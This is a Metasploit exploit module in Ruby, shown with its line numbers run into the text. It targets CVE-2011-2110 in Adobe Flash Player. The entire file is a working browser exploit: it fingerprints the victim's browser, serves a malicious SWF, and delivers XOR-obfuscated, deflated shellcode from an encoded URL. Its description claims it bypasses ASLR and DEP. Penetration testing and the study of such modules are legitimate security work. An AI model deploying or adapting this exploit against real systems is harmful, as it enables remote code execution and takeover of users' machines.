Path: blob/master/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',15'Description' => %q{16This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.2317and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification18logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same19vulnerability that was used for attacks against Korean based organizations.2021Specifically, this issue occurs when indexing an array using an arbitrary value,22memory can be referenced and later executed. Taking advantage of this issue does not rely23on heap spraying as the vulnerability can also be used for information leakage.2425Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several26other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and27is very reliable.28},29'License' => MSF_LICENSE,30'Author' => [31'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit32'Unknown' # malware version seen used in targeted attacks33],34'References' => [35['CVE', '2011-2110'],36['OSVDB', '73007'],37['BID', '48268'],38['URL', 'http://www.adobe.com/devnet/swf.html'],39['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'],40['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'],41['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'],42],43'DefaultOptions' => {44'EXITFUNC' => 'process',45'HTTP::compression' => 'gzip',46'HTTP::chunked' => true,47'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'48},49'Payload' => {50'Space' => 2000,51'BadChars' => "\x00",52'DisableNops' => true53},54'Platform' => 'win',55'Targets' => [56[ 'Automatic', {}],57],58'DisclosureDate' => '2012-06-21',59'DefaultTarget' => 0,60'Notes' => {61'Reliability' => UNKNOWN_RELIABILITY,62'Stability' => UNKNOWN_STABILITY,63'SideEffects' => UNKNOWN_SIDE_EFFECTS64}65)66)67end6869def exploit70# src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as71# full aslr/dep bypass using the info leak as per malware72path = File.join(Msf::Config.data_directory, "exploits", "CVE-2011-2110.swf")73fd = File.open(path, "rb")74@swf = fd.read(fd.stat.size)75fd.close76super77end7879def check_dependencies80use_zlib81end8283def get_target(agent)84# If the user is already specified by the user, we'll just use that85return target if target.name != 'Automatic'8687if agent =~ /MSIE/88return targets[0] # ie 6/7/8 tested working89elsif agent =~ /Firefox/90return targets[0] # ff 10.2 tested working91else92return nil93end94end9596def on_request_uri(cli, request)97agent = request.headers['User-Agent']98my_target = get_target(agent)99100# Avoid the attack if the victim doesn't have the same setup we're targeting101if my_target.nil?102print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")103send_not_found(cli)104return105end106107xor_byte = 122108trigger = @swf109trigger_file = rand_text_alpha(rand(6) + 3) + ".swf"110code = rand_text_alpha(rand(6) + 3) + ".txt"111112sc = Zlib::Deflate.deflate(payload.encoded)113shellcode = ""114115sc.each_byte do |c|116shellcode << (xor_byte ^ c)117end118119uri = ((datastore['SSL']) ? "https://" : "http://")120uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])121uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"122123bd_uri = Zlib::Deflate.deflate(uri)124125uri = ""126bd_uri.each_byte do |c|127uri << (xor_byte ^ c)128end129130bd_uri = uri.unpack("H*")[0]131132obj_id = rand_text_alpha(rand(6) + 3)133134if request.uri.match(/\.swf/i)135print_status("Sending malicious swf")136send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })137return138end139140if request.uri.match(/\.txt/i)141print_status("Sending payload")142send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })143return144end145146html = <<-EOS147<html>148<head>149</head>150<body>151<center>152<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"153id="#{obj_id}" width="600" height="400"154codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">155<param name="movie" value="#{get_resource}/#{trigger_file}?info=#{bd_uri}" />156<embed src="#{get_resource}/#{trigger_file}?info=#{bd_uri}" quality="high"157width="320" height="300" name="#{obj_id}" align="middle"158allowNetworking="all"159type="application/x-shockwave-flash"160pluginspage="http://www.macromedia.com/go/getflashplayer">161</embed>162</object>163</center>164</body>165</html>166EOS167168html = html.gsub(/^ {4}/, '')169170print_status("Sending #{self.name} HTML")171send_response(cli, html, { 'Content-Type' => 'text/html' })172end173end174175176